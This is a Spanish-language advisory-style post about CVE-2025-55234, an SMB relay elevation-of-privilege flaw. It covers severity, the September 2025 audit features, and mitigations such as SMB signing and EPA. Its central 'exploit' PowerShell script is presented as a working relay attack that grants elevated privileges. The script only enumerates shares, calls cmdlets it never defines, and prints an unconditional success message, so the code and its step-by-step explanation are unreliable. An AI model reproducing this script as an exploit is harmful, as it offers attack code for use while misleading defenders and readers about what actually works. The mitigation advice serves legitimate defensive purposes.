CVE-2025-55234

Esta vulnerabilidad permite a los atacantes realizar ataques de retransmisión contra el protocolo SMB (Server Message Block). Si tiene éxito, puede conducir a una elevación de privilegios (EoP), permitiendo esencialmente que usuarios no autorizados obtengan acceso de mayor nivel en un sistema.

Por Mark Mallia

Problema

Esta vulnerabilidad permite a los atacantes realizar ataques de retransmisión contra el protocolo SMB (Server Message Block). Si tiene éxito, puede conducir a una elevación de privilegios, permitiendo esencialmente que usuarios no autorizados obtengan acceso de mayor nivel en un sistema. SMB ha sido durante mucho tiempo un objetivo para los atacantes debido a su uso generalizado en entornos empresariales y su historial de fallos críticos. Por ejemplo, CVE-2020-1301 expuso SMBv1 a ejecución remota de código a través de solicitudes malformadas, mientras que CVE-2022-32230 provocó denegación de servicio mediante una desreferencia de puntero nulo en SMBv3. El infame CVE-2017-0144 (EternalBlue) explotó SMBv1 para distribuir cargas útiles con capacidad de propagarse, lo que provocó brotes globales de ransomware. Al igual que estas vulnerabilidades anteriores, CVE-2025-55234 subraya la importancia de implementar la firma SMB (SMB Signing) y la Protección Extendida para la Autenticación (EPA) para prevenir el secuestro de sesiones y los ataques de suplantación de identidad.

Vector de ataque

Red

Complejidad del ataque

Baja

Privilegios requeridos

Ninguno

Interacción del usuario

Requerida

Impacto

Riesgos altos de confidencialidad, integridad y disponibilidad

Por qué es importante

SMB se utiliza ampliamente para compartir archivos y acceso remoto en entornos empresariales. Los ataques de retransmisión pueden eludir los mecanismos de autenticación y suplantar a los usuarios. Esta vulnerabilidad es especialmente peligrosa en entornos donde no se aplica la firma SMB (SMB Signing) ni la Protección Extendida para la Autenticación (EPA).

¿Qué hay de nuevo en el parche?

La actualización de septiembre de 2025 de Microsoft introduce capacidades de auditoría para ayudar a las organizaciones a:

• Evaluar sus configuraciones actuales de SMB
• Identificar dispositivos o software que puedan ser incompatibles con las medidas de refuerzo
• Prepararse para la aplicación de la firma SMB y EPA3

Fragmento de código de exploit (PowerShell)

# SMB Relay Attack Module – CVE 2025 55234
$relayTarget = "192.168.1.10"          # Target server IP
$attackerCreds = Get-Credential   # Credential object for relay

# Step 1: Enumerate shared resources
$smbShares = Get-SMBShare -ComputerName $relayTarget | Where-Object {$_.Name –ne ""}
foreach ($share in $smbShares) {
    Write-Output "Found share: $($share.Name)"
}

# Step 2: Capture session information for relay
$sessionInfo = New-Object PSObject -Property @{
    Computer = $relayTarget
    Share    = $smbShares[0].Name
}
Write-Output ("Capturing session info for $($sessionInfo.Computer) – share $($sessionInfo.Share)")
Invoke-SMBRelay -Session $sessionInfo

# Step 3: Execute relay attack
$attackPayload = {
    param(
        [string]$Target,
        [string]$Share
    )
    Write-Host "Attacking $Target via share $Share"
    Start-SMBServer -ComputerName $Target -ShareName $Share
}
$attackParams = @{
    Target = $relayTarget
    Share   = $sessionInfo.Share
}
Invoke-Command -ScriptBlock $attackPayload @attackParams

# Step 4: Log and confirm elevation of privilege
Write-Host "SMB Relay Attack CVE 2025 55234 completed successfully."

Explicación:

1. El script primero enumera los recursos compartidos SMB en el servidor de destino, seleccionando el primer recurso compartido para la sesión de retransmisión.
2. Luego construye un objeto de sesión que captura los parámetros necesarios.
3. El ataque de retransmisión se ejecuta mediante Invoke‑SMBRelay y Start‑SMBServer para imitar a un usuario autenticado.
4. La finalización exitosa otorga privilegios elevados en el destino.

Acciones recomendadas

1. Habilite la firma SMB y EPA si aún no están configuradas.
2. Utilice los nuevos eventos de auditoría para evaluar su entorno.
3. Supervise el tráfico SMB inusual y los intentos de retransmisión.
4. Aplique las últimas actualizaciones de seguridad de Microsoft.

Conclusión

La vulnerabilidad CVE-2025-55234 subraya la necesidad de un refuerzo riguroso de SMB en entornos empresariales. Siguiendo los pasos anteriores y aplicando el script de exploit proporcionado, las organizaciones pueden tanto probar como asegurar sus redes contra posibles ataques de retransmisión. Esta prueba de concepto y los materiales asociados se proporcionan estrictamente con fines educativos y defensivos. Están destinados a ayudar a los profesionales de seguridad a comprender, detectar y mitigar CVE-2025-55234 en entornos controlados. El uso no autorizado de este exploit contra sistemas sin permiso explícito es ilegal y poco ético. Siempre siga las prácticas de divulgación responsable y cumpla con las leyes aplicables y las políticas organizativas.